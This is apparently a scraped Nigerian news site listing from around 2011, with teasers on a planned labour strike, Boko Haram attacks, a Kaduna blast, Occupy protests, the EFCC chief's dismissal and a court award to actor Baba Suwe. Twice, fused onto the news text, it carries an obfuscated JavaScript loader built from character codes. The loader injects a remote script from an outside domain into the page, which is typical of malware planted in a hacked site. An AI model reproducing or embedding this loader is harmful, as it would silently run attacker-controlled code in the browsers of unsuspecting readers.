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Nigerian labor officials say they got no injunction in respect of Industrial Court Ruling; vow to embark on strike on as planned for Monday, January 9, 2012.var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,1...
Boko Haram killed 20 Christians in Mubi, Adamawa State -AP
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Boko Haram killed 20 Christians in Mubi, Adamawa State -AP

By NJADVARA MUSA and JON GAMBRELL Associated Press MAIDUGURI, Nigeria (AP) -- Suspected gunmen from a radical Muslim sect attacked a town hall Friday in rural northeast Nigeria, killing at least 20 people who had gathered for a meeting of a Christian ethnic group, police said. The attack at noon targeted a town hall where Christian Igbo people were holding a meeting, with gunmen chanting "God is great" as they fired Kalashnikov rifles. (more…)
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. Kaduna Youth Rename Lugard Square as Unity and Freedom Square . 5 Protesters Killed in Kano After Governor’s House Walls Knocked Down . Unknown Number of People Killed in Maidugurivar z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,...
BREAKING NEWS:  Kaduna City Rocked by Massive Blast
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BREAKING NEWS: Kaduna City Rocked by Massive Blast

Emergency officials in the Nigerian city of Kaduna reported early on Wednesday that at least 8 people died and many were injured in a huge blast that sent everyone scampering for safety. Kaduna has recently witnessed similar outbreaks of violence in recent times, the last being the deadly riots following the April elections. (more…)
300 Arrested in Nationwide Occupy Protests
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300 Arrested in Nationwide Occupy Protests

Occupy Wall Street protesters clogged streets and tied up traffic around the U.S. on Thursday to mark two months since the movement's birth and signal they aren't ready to quit, despite the breakup of many of their encampments (more…)
BREAKING NEWS: Farida Waziri, EFCC boss Fired!
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BREAKING NEWS: Farida Waziri, EFCC boss Fired!

The head of Economic and Financial Crime Commission in Nigeria, Mrs Farida Waziri has been sacked. Waziri’s removal was contained in a statement signed by the spokesperson to the President of the federal Republic of Nigeria, Dr. Reuben Abati. (more…)
BREAKING NEWS:    Courts Orders NDLEA to Pay Baba Suwe N25m for Wrongful Detention
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BREAKING NEWS: Courts Orders NDLEA to Pay Baba Suwe N25m for Wrongful Detention

Ace comedian and Nollywood actor, Babatunde Omidina, popularly known as Baba Suwe, was earlier on Thursday awarded the sum of 25 million naira by a Lagos High Court for wrongful detention by the National Drug Law Enforcement Agency of Nigeria. The anti-drug agency had detained the Nollywood actor on October 12 and he remained in the agency’s custody for the next 3 weeks without convincing proof of the allegation that he had ingested narcotic drugs in an attempt to smuggle same out of the country. Justice Yetunde Idowu of the Lagos High Court gave the ruling today in response to a fundamental rights suit filed by Mr. Omidina's lawyer, Mr. Bamidele Aturu. Mr. Omidina had been on his way to France for a friend's child dedication. Justice Idowu had previously ordered the actor rel...